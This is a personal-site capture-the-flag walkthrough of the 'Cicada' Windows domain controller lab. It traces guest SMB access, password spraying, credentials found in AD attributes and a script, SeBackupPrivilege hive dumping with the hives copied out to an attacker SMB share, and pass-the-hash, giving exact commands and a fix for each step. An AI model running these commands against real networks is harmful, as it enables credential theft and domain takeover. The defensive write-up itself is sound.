J. Perez Duertojperezduerto.info
← all walkthroughs

Cicada

Windows· Easy· Credential Access· Privilege Escalation
owned
2026-07-05
time to own
20m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I authenticated to the domain controller's SMB service as the built-in guest account, downloaded an HR onboarding document containing a plaintext default password, and sprayed that password across all domain accounts to compromise one user who had never changed it. Pivoting through two further credential exposures — a password stored verbatim in an Active Directory user attribute and a second password hardcoded in a PowerShell backup script on an internal share — I reached an account holding SeBackupPrivilege.

That right bypassed all file-system access controls, allowing me to copy the SAM and SYSTEM registry hives offline, extract the built-in Administrator's NTLM hash with Impacket secretsdump, and authenticate to the domain controller with full administrator authority via pass-the-hash.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan / service fingerprinting
Mapped all open services on the domain controller
A port scan identified a Windows Server 2022 domain controller named CICADA-DC at $TARGET running the full Active Directory stack: DNS, Kerberos, LDAP/LDAPS, SMB, and WinRM on port 5985. WinRM was flagged as a direct remote-execution entry point the moment valid credentials were in hand.
WinRM banner confirmed Windows Server 2022 Build 20348, domain cicada.htb.
Exact commands 2
shell

Service-version scan of all common DC ports.

$ nmap -sV -sC -T4 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 $TARGET -oN nmap_cicada.txt
shell

Probe for null or guest SMB session and list available shares.

$ nxc smb $TARGET -u '' -p '' --shares
2Initial EnumerationSMB Guest Authentication / Unauthenticated Share Access
Read an HR onboarding document using the guest account and recovered a company-wide default password
SMB guest authentication was enabled on the domain controller with no password required. I connected to the HR share as the built-in guest account and found a file named 'Notice from HR.txt' that was readable by anyone. The document contained the environment's default onboarding password — <withheld> — in plaintext, intended for new hires but accessible to any unauthenticated party on the network.
Smbclient -U 'guest%' //$TARGET/HR successfully listed the HR share and downloaded Notice from HR.txt containing the default password.
Exact commands 2
shell

Authenticate as guest with a blank password and download the HR notice.

$ smbclient -U 'guest%' //$TARGET/HR -c 'ls; get "Notice from HR.txt" /tmp/cicada/Notice_from_HR.txt'
shell

Reveals the default password in plaintext.

$ cat /tmp/cicada/Notice_from_HR.txt
FixDisable SMB guest authentication and restrict unauthenticated share accessHigh
WeaknessThe built-in Guest account was enabled and accepted SMB connections with no password, letting an unauthorised user on the network browse share listings, read files on the HR share, and enumerate every domain account via RID cycling without a single valid credential.
FixDisable the Guest account in Active Directory (net user guest /active:no). Set Group Policy 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled under Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options. Audit every share ACL and confirm none grants Read to Everyone or BUILTIN\Guests. Remove Guest from 'Access this computer from the network' in User Rights Assignment.
3Credential AccessRID Cycling / Password Spraying (T1110.003)
Enumerated all domain users via guest RID cycling, then found an account still on the default password
Using the same guest session, I brute-forced Windows Security Identifier (RID) values to build a complete list of every domain account without any further credentials. That list was then sprayed with the default password from the HR document. The account michael.wrightson had never changed its initial password, converting a single file read into a fully authenticated domain credential.
Nxc smb RID brute over guest session produced a full domain user list; subsequent spray confirmed michael.wrightson's password as valid.
Exact commands 3
shell

RID-cycle using the guest session to enumerate all domain accounts.

$ nxc smb $TARGET -u guest -p '' --rid-brute 10000 | tee /tmp/cicada/rid_brute.txt
shell

Extract plain usernames, stripping the CICADA-DC\ domain prefix.

$ awk '/SidTypeUser/ {print $6}' /tmp/cicada/rid_brute.txt | sed 's/.*\\//' | sort -u | tee /tmp/cicada/users.txt
shell

Spray the default password against every enumerated user; hit on michael.wrightson.

$ nxc smb $TARGET -u /tmp/cicada/users.txt -p "$PASSWORD" --continue-on-success | tee /tmp/cicada/spray_default.txt
FixRemove default credentials from shared documents and enforce password change at first logonCritical
WeaknessA plaintext default password was stored in an HR document on a share accessible to the guest account, and at least one user (michael.wrightson) still had that unchanged password long after account creation. One file download converted directly into a valid, authenticated domain credential.
FixDelete or permanently redact the HR notice from the share. Deliver initial credentials only through a secure, authenticated channel such as a PAM portal or an encrypted IT-to-user message. Enable 'User must change password at next logon' for every newly provisioned account via Group Policy or your identity lifecycle tooling. Run a periodic audit for accounts whose password age equals zero or whose password was last set at or before account creation date.
4Credential DiscoveryLDAP User Attribute Enumeration / Unsecured Credentials (T1552)
Found a second account's password stored verbatim in its Active Directory description field
Authenticated as michael.wrightson, I queried LDAP to enumerate all domain user objects and their attributes. The AD account for david.orelious had its current password — <withheld> — stored in the Description field. Any authenticated domain user can read this field by default, so the credential was effectively public to everyone on the domain.
Nxc ldap --users authenticated as michael.wrightson returned david.orelious's cleartext password in the Description attribute.
Exact commands 1
shell

Enumerate all AD user objects with attributes; the Description field reveals david.orelious's password.

$ nxc ldap $TARGET -u 'michael.wrightson' -p "$PASSWORD" --users | tee /tmp/cicada/ldap_users_michael.txt
FixPurge credentials stored in Active Directory user attributesHigh
WeaknessThe AD account for david.orelious had its active password stored verbatim in the Description attribute. Every authenticated domain user can read this field by default, so the credential was publicly readable by anyone on the domain.
FixRun an immediate audit across all user objects: Get-ADUser -Filter * -Properties Description,Info,Comment | Where-Object { $_.Description -match 'pass|pwd|secret|P@' }. Remove any discovered credentials immediately. Implement a recurring automated scan in your SIEM or identity governance tool to detect future violations. Enforce a standing policy that credentials must never be stored in directory attributes and route all secrets through a purpose-built vault.
5Credential DiscoveryCredentials in Files / Network Share Enumeration (T1552.001)
Accessed an internal developer share as david.orelious and retrieved a script with a third account's password hardcoded in it
With david.orelious's credentials I accessed the DEV share and found a PowerShell backup script named Backup_script.ps1. The script had emily.oscars's password — <withheld> — written in plaintext. Any domain user with read access to the DEV share could extract this credential with a single file download.
Smbclient as david.orelious retrieved Backup_script.ps1 from //$TARGET/DEV; file contained emily.oscars's cleartext password.
Exact commands 3
shell

Confirm david.orelious has read access to the DEV share.

$ nxc smb $TARGET -u 'david.orelious' -p "$PASSWORD3" --shares | tee /tmp/cicada/shares_david.txt
shell

List the DEV share and download the backup script.

$ smbclient //$TARGET/DEV -U "david.orelious%$PASSWORD3" -c 'ls; get Backup_script.ps1'
shell

Scan the script for credential strings; reveals emily.oscars's password.

$ grep -i 'password\|pass\|cred' Backup_script.ps1
FixEliminate hardcoded credentials from scripts stored on network sharesCritical
WeaknessA PowerShell backup script (Backup_script.ps1) on the DEV share contained emily.oscars's plaintext password. Any domain user with read access to that share could extract a credential that directly enabled WinRM administrative access to the domain controller.
FixReplace the hardcoded credential with a Group Managed Service Account (gMSA) for the backup task; Windows manages gMSA passwords automatically and they are never readable by any user. Where a gMSA is not feasible, retrieve credentials at runtime from Windows Credential Manager or a PAM vault. Perform a one-time scan of all readable network shares for scripts and configuration files containing embedded credentials (tools such as Snaffler automate this). Tighten DEV share read permissions to only the accounts that genuinely require access.
6FootholdRemote Service Authentication via WinRM (T1021.006)
Authenticated to the domain controller as emily.oscars via WinRM and captured the user flag
Emily.oscars's credentials enabled direct Windows Remote Management access to the domain controller. I opened an authenticated PowerShell session on CICADA-DC, confirmed their identity with whoami, and read the user flag from the desktop.
Nxc winrm confirmed cicada.htb\emily.oscars's password as Pwn3d! On $TARGET:5985; command output returned the user flag.
Exact commands 2
shell

Verify WinRM access and read the user flag — value is <user.txt>.

$ nxc winrm $TARGET -u 'emily.oscars' -p "$PASSWORD2" -X 'whoami; hostname; Get-Content C:\Users\emily.oscars\Desktop\user.txt' | tee /tmp/cicada/winrm_user.txt
shell

Open an interactive WinRM shell for the privilege escalation steps that follow.

$ evil-winrm -i $TARGET -u emily.oscars -p "$PASSWORD2"
7Privilege EscalationSeBackupPrivilege Abuse / SAM Database Dump (T1003.002)
Abused SeBackupPrivilege to dump the SAM and SYSTEM hives and extract the Administrator's NTLM hash offline
Running whoami /priv inside the WinRM session showed that emily.oscars held SeBackupPrivilege — the 'Back up files and directories' right. This privilege instructs Windows to bypass all file-system ACLs when a process requests backup-flagged access, including against the normally locked SAM and SYSTEM registry hives that store every local account's password hash. I used reg save to copy both hives to a writable temp directory, transferred them to my own SMB share, and ran impacket-secretsdump offline to recover the built-in Administrator's NTLM hash.
Impacket-secretsdump processed the uploaded SAM.save and SYSTEM.save and yielded Administrator NTLM hash.
Exact commands 5
shell

Run inside the evil-winrm session to confirm SeBackupPrivilege: Enabled for emily.oscars.

$ whoami /priv
shell

Save the SAM and SYSTEM hives to disk; SeBackupPrivilege bypasses the ACL that normally prevents this.

$ mkdir C:\Temp; reg save HKLM\SAM C:\Temp\SAM.save; reg save HKLM\SYSTEM C:\Temp\SYSTEM.save
shell

Run on my machine to receive the exfiltrated hive files.

$ impacket-smbserver cicada /tmp/cicada/loot -smb2support -username cicada -password "$PASSWORD4"
shell

Run inside evil-winrm; replace $ATTACKER_IP with your tun0 address.

$ copy C:\Temp\SAM.save \\$ATTACKER_IP\cicada\SAM.save && copy C:\Temp\SYSTEM.save \\$ATTACKER_IP\cicada\SYSTEM.save
shell

Offline hash extraction from the SAM backup — yields Administrator's hash.

$ impacket-secretsdump -sam /tmp/cicada/loot/SAM.save -system /tmp/cicada/loot/SYSTEM.save LOCAL | tee /tmp/cicada/secretsdump_local.txt
FixRemove SeBackupPrivilege from non-administrative accountsCritical
Weaknessemily.oscars held the 'Back up files and directories' (SeBackupPrivilege) user right. This privilege instructs Windows to bypass all file-system ACLs for backup-flagged file opens, including the locked SAM and SYSTEM registry hives, allowing any process the account runs to extract every local account's NTLM hash without any other elevated access.
FixOpen the Default Domain Controllers Policy GPO under Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment > 'Back up files and directories'. Remove any non-administrative account or group. Only dedicated backup service accounts, ideally gMSAs, operating within a Tier-0 privileged access model should hold this right. Audit the current assignment with Get-GPResultantSetOfPolicy and verify suspect account tokens with whoami /priv after login. Add high-value accounts to the Protected Users security group to further restrict credential exposure.
8Full CompromisePass-the-Hash (T1550.002)
Authenticated as the domain Administrator via pass-the-hash over WinRM and captured the root flag
With the Administrator's NTLM hash, I used pass-the-hash — presenting the hash directly in place of a password. Windows accepted it as valid proof of identity without any cracking step, granting a full Administrator session on the domain controller and allowing the root flag to be read from the Administrator's desktop.
Nxc winrm confirmed Administrator hash as Pwn3d! On $TARGET:5985.
Exact commands 2
shell

Pass-the-hash WinRM login as Administrator — flag value is <root.txt>.

$ nxc winrm $TARGET -u 'Administrator' -H "$HASH" -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt' | tee /tmp/cicada/root_flag_read.txt
shell

Open an interactive Administrator shell using the extracted NTLM hash; no password cracking needed.

$ evil-winrm -i $TARGET -u Administrator -H "$HASH"

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
61921/tcp